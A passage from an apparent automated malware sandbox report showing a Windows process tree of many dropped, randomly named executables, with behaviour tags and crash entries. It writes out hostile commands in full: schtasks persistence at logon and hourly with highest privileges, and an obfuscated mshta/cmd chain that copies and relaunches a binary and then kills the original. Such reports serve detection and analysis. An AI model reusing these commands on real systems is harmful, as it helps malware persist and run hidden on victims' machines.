C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:7876
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:8164
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:7452
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:8596
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:3340
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:7900
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:5524
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:2968
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:1604
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:3392
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:9764
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:6124
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:1900
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:10848
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:11324
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:11864
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:10368
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:8432
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:11928
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:12988
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:9280
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:6524
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:11248
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:13008
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:13696
-
-
-
C:\Users\Admin\Documents\u6vymH_NKR9gEQghSEp1oNul.exe"C:\Users\Admin\Documents\u6vymH_NKR9gEQghSEp1oNul.exe"2⤵
- Executes dropped EXE
PID:3892 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3892 -s 2363⤵
- Program crash
PID:5812
-
-
-
C:\Users\Admin\Documents\TyeoePNWPumomzDWOMmcK7dx.exe"C:\Users\Admin\Documents\TyeoePNWPumomzDWOMmcK7dx.exe"2⤵
- Executes dropped EXE
PID:4576
-
-
C:\Users\Admin\Documents\wKhkTenH3lTYgpHouopuVTGB.exe"C:\Users\Admin\Documents\wKhkTenH3lTYgpHouopuVTGB.exe"2⤵
- Executes dropped EXE
PID:3996 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\KBAvfsr.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\KBAvfsr.exe"3⤵
- Executes dropped EXE
PID:1276 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1276 -s 2804⤵
- Program crash
PID:6984
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1276 -s 2804⤵
- Program crash
PID:6228
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\FkDS8ej.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\FkDS8ej.exe"3⤵PID:1156
-
-
-
C:\Users\Admin\Documents\giTLeDZMxVke7M3VbURjumPQ.exe"C:\Users\Admin\Documents\giTLeDZMxVke7M3VbURjumPQ.exe"2⤵
- Executes dropped EXE
PID:1608 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1608 -s 2443⤵
- Program crash
PID:6088
-
-
-
C:\Users\Admin\Documents\86ZDOZxeE7zoYfZZ_YLd1ovR.exe"C:\Users\Admin\Documents\86ZDOZxeE7zoYfZZ_YLd1ovR.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:516 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:1332
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:3600
-
-
-
C:\Users\Admin\Documents\6hDkM3W_fy2Thlc2o1_20Ant.exe"C:\Users\Admin\Documents\6hDkM3W_fy2Thlc2o1_20Ant.exe"2⤵
- Executes dropped EXE
PID:600 -
C:\Users\Admin\Documents\6hDkM3W_fy2Thlc2o1_20Ant.exe"C:\Users\Admin\Documents\6hDkM3W_fy2Thlc2o1_20Ant.exe"3⤵PID:1708
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 12284⤵
- Program crash
PID:9464
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 12284⤵
- Program crash
PID:9504
-
-
-
-
C:\Users\Admin\Documents\HrRUIIvpisSVd2s3XuhIp58z.exe"C:\Users\Admin\Documents\HrRUIIvpisSVd2s3XuhIp58z.exe"2⤵
- Executes dropped EXE
PID:1872 -
C:\Users\Admin\Documents\HrRUIIvpisSVd2s3XuhIp58z.exe"C:\Users\Admin\Documents\HrRUIIvpisSVd2s3XuhIp58z.exe"3⤵PID:6076
-
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe"C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1216 -
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵
- Executes dropped EXE
PID:3220
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵
- Executes dropped EXE
PID:5400
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:6032
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:5004
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:2196
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:232
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:3304
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3304 -s 284⤵
- Program crash
PID:5424
-
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:1332
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:5916
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:6708
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:6808
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:1644
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:2848
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:6776
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:2792
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:6848
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:2536
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:7936
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:7860
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:2224
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:8700
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:5868
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:5880
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:4008
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:8932
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:5632
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:1412
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:7000
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:6320
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:5504
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:9468
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:10212
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:9888
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:9360
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:11256
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:11780
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:11744
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:11708
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:9100
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:7520
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:11480
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:11212
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:6232
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:8060
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:13096
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:10924
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:11348
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:15248
-
-
C:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exeC:\Users\Admin\Documents\ogCiMOl04MJsDSwjedz0gwHN.exe3⤵PID:14120
-
-
-
C:\Users\Admin\Documents\gSjXDpOZFRY1O2vev_mpzJHo.exe"C:\Users\Admin\Documents\gSjXDpOZFRY1O2vev_mpzJHo.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:704 -
C:\Users\Admin\Documents\gSjXDpOZFRY1O2vev_mpzJHo.exe"C:\Users\Admin\Documents\gSjXDpOZFRY1O2vev_mpzJHo.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:5392
-
-
-
C:\Users\Admin\Documents\ZxIWcU6aQVQhGAI21HN518tO.exe"C:\Users\Admin\Documents\ZxIWcU6aQVQhGAI21HN518tO.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:780 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
PID:2052
-
-
C:\Program Files (x86)\Company\NewProduct\inst001.exe"C:\Program Files (x86)\Company\NewProduct\inst001.exe"3⤵
- Executes dropped EXE
PID:1692
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
PID:2408
-
-
-
C:\Users\Admin\Documents\bo3zRQwvAR6Aci536GwUXQPA.exe"C:\Users\Admin\Documents\bo3zRQwvAR6Aci536GwUXQPA.exe"2⤵
- Executes dropped EXE
PID:436 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 436 -s 2803⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4452
-
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe"C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:844 -
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵
- Executes dropped EXE
PID:2912
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵
- Executes dropped EXE
PID:5636
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:848
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:5988
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:5144
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:4832
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:1720
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:4432
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:4488
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:3760
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:6768
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:5976
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:6396
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:7068
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:5176
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:5664
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:4672
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:6880
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:344
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:7388
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:9092
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:7176
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:8832
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:5420
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:2852
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:9200
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:4700
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:8348
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:1888
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:2900
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:9016
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:9416
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:10028
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:8420
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:9804
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:10436
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:11172
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:11372
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:4208
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:12012
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:7184
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:8964
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:11944
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:12728
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:12804
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:13740
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:4564
-
-
C:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exeC:\Users\Admin\Documents\v4nYqVAd30BZyAb8JL18H_JB.exe3⤵PID:15880
-
-
-
C:\Users\Admin\Documents\EQJj5UNvgi7u0n20C7yQFH4E.exe"C:\Users\Admin\Documents\EQJj5UNvgi7u0n20C7yQFH4E.exe"2⤵
- Executes dropped EXE
PID:408 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\Documents\EQJj5UNvgi7u0n20C7yQFH4E.exe"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if """"== """" for %m in ( ""C:\Users\Admin\Documents\EQJj5UNvgi7u0n20C7yQFH4E.exe"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))3⤵PID:4688
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\Documents\EQJj5UNvgi7u0n20C7yQFH4E.exe" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if ""== "" for %m in ("C:\Users\Admin\Documents\EQJj5UNvgi7u0n20C7yQFH4E.exe" ) do taskkill /iM "%~NXm" -F4⤵PID:2460
-
